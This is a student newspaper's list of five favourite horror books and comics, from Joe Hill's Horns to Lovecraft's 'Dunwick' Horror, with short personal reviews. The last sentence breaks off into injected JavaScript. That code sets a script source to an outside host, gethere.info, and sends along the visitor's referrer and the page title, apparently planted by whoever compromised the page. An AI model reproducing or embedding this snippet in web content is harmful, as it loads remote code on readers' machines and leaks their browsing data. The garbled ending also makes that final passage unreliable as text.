strathtelegraph Arts

Top 5: Horror books

by Rachel Munford

 

horns1. Horns (Joe Hill)

‘Horns’ is one of the most fantastic horror novels I have ever read, and Joe Hill is mainly unheard of which is surprising due to his father being Stephen King. Horns follows Ig Perrish who grows horns on his head (I’m probably not selling this too well, but bear with me) which forces anyone he speaks to to confess their darkest secrets; he uses this to find out who killed his girlfriend. Daniel Radcliffe stars as Ig in the movie adaption, released later this year.

 

2. Revival (Tim Seeley)

This is a newcomer to the comic world of zombies but takes a relatively new approach on the original brain-eating mythology. Officer Dana Cypress has to try and control the outbreak in her town of the dead coming back to life with seemingly no consequences – they’re good as new except that they still bear the scars of how they died. What Dana learns is that her sister is now one of the undead. This comic book is second on my Top Five because it really looks at the psychological side of an undead rising, and how it affects families.

 

3. The Walking Dead (Robert Kirkman)

Everyone knows about the TV show and the riot that will ensue if Daryl Dixon bites the dust, yet not many put in the time to read the original source material, which the show is very (VERY) loosely based on. Like the show, it is equally as depressing, gory and violent, which for horror fans is very good but not so much for everyone else. I love the variety of characters put forward in the comic. It’s also fun to watch the show and go “that’s not in the book!” – what book fan doesn’t enjoy that?

 

4. I am Not a Serial Killer (Dan Wells)notas

This is another book that is unheard of: the first in a trilogy but the best out of the three, which I think I’ve read at least ten times now. It follows teenager John who works in his Mother and Aunt’s undertakers – he believes that he is sociopath. Need I say more? Sociopaths and undertakers: the best combination for any horror. Oh, and I should probably mention the monster that is ripping people apart, that he decides to track down because of his obsession with serial killers.

 

5. The Dunwick Horror (H.P. Lovecraft)

You’re probably thinking ‘why put the classic horror last?’ but I think it is best not to give classic pieces more value than modern. H.P. Lovecraft is loved by many horror literature enthusiasts and the Dunwick Horror proves why. The plot revolves around Wilbur Whately who has unnatural origins thus he grows at a fast pace to an unsettling height; his birth precedes the arrival of one of the Old Ones who strikes fear into the heart of the people of Dunwick and is practically unseen. While I love this book, I wouldn’t say this is better than Joe Hill.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;